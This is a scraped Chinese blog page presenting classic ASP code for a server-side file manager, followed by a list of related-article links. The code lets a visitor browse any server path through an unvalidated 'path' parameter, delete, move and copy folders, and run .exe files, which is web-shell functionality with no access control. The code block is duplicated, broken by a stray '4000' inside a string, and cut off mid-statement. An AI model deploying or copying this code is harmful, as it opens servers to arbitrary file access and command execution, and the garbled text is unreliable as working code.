文件的读出 编辑 管理
2014-04-21 19:08
260 查看
<%
urlpath="http://"&Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>"
Response.write"<table border='0' width='100%' cellpadding='0'>"
For Each x In theSubFolders
Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> </td>"
Response.Write "<td><a href=# onclick=javascript:window.open('delete.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font
color='#FF8000' >×</font>删除</a></td>"
Response.Write "<td><a href=# onclick=javascript:window.open('move.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font
color='#FF8000' >×</font>移改</a></td>"
Response.Write "<td><a href=# onclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font
color='#FF8000' >×</font>复制</a><br></td></tr>"
Next
Response.Write "</table>"
end if
End Sub
Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'>"
For Each x In theFiles
if Request("attrib")="true" then
showstring="<strong>"&x.Name&"</strong>"
else
showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizabl
4000
e=yes,width=600,height=400');><strong>"&x.name&"</strong></a>"
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:window.open('fileop.asp@filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>执行</font></a></td>"
else
showstring=showstring&"</td><td width='10%'></td>"
end if
Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字节</td>
urlpath="http://"&Request.ServerVariables("SERVER_NAME")
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
Sub GetFolder()
dim theFolder,theSubFolders
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theSubFolders=theFolder.SubFolders
Response.write"<a href='list.asp?path="&Request("oldpath")&"&attrib="&attrib&"'><font color='#FF8000'>■</font>↑<font color='ff2222'>回上级目录</font></a><br>"
Response.write"<table border='0' width='100%' cellpadding='0'>"
For Each x In theSubFolders
Response.write"<tr><td width='50%'><a href='list.asp?path="&lpath&x.Name&"&oldpath="&Request("path")&"&attrib="&attrib&"'>└<font color='#FF8000'>■</font> "&x.Name&"</a> </td>"
Response.Write "<td><a href=# onclick=javascript:window.open('delete.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font
color='#FF8000' >×</font>删除</a></td>"
Response.Write "<td><a href=# onclick=javascript:window.open('move.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font
color='#FF8000' >×</font>移改</a></td>"
Response.Write "<td><a href=# onclick=javascript:window.open('copy.asp@spath=" & server.urlencode(lpath) & "" & server.urlencode(x.Name) & "&aim=floders','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font
color='#FF8000' >×</font>复制</a><br></td></tr>"
Next
Response.Write "</table>"
end if
End Sub
Sub GetFile()
dim theFiles
if fsoBrowse.FolderExists(cpath)then
Set theFolder=fsoBrowse.GetFolder(cpath)
Set theFiles=theFolder.Files
Response.write"<table border='0' width='100%' cellpadding='0'>"
For Each x In theFiles
if Request("attrib")="true" then
showstring="<strong>"&x.Name&"</strong>"
else
showstring="<a href=# onclick=javascript:window.open('"&urlpath&lpath&server.urlencode(x.Name)&"','hyne_love_achye','toolbar=no,scrollbars=yes,resizabl
4000
e=yes,width=600,height=400');><strong>"&x.name&"</strong></a>"
end if
if right(x.name,4)=".exe" or right(x.name,4)=".EXE" then
showstring=showstring&"</td><td width='10%'><A href=# onclick=javascript:window.open('fileop.asp@filename="&lpath&x.name&"&action=execute','hyne_love_achye','toolbar=no,scrollbars=yes,resizable=yes,width=600,height=400');><font color=red>执行</font></a></td>"
else
showstring=showstring&"</td><td width='10%'></td>"
end if
Response.write"<tr><td width='20%'><font color='#FF8000'>□</font>"&showstring&"<td width='15%' align='right'>"&x.size&"字节</td>
相关文章推荐
- 文件的读出 编辑 管理
- 文件的读出 编辑 管理
- Linux 基础命(二) 文件管理与编辑
- 活动现场控制管理利器--节目文件,会议文件,PowerPoint文件,多媒体文件编辑组织管理播放平台--双屏版软件,欢迎下载使用.
- C写的学生成绩管理系统,可是文件读出的时候多输出了一行,请各位高手看看。能不能解决哦。
- [8-23]知识梳理:文件系统、Bash基础特性、目录管理、文件管理、文本查看编辑处理
- java springMVC SSM 操作日志 4级别联动 文件管理 头像编辑 shiro redis
- linux系统结构,文件寻址,文件管理编辑,正则表达式
- 模板管理 编辑文件功能
- Linux文件管理与编辑的基本命令
- linux系统结构,文件寻址,文件管理编辑,正则表达式
- Linux文件管理和编辑常用命令
- java springMVC SSM 操作日志 4级别联动 文件管理 头像编辑 shiro redis
- java springMVC SSM 操作日志 4级别联动 文件管理 头像编辑 shiro redis
- 支持对所有文件格式的收集、同一画面编辑和关联等管理
- 文件管理框架,可实现后台编辑项目文件
- Linux基础--介绍 文件的管理与编辑 正则表达式的应用
- Linux文件管理和编辑常用命令
- vim模式下文件的编辑与管理
- ProgressBar控件的应用;文件的读出和写入;目录和文件管理;检索计算机上逻辑驱动器盘符;XML文件的增加、修改、读节点内容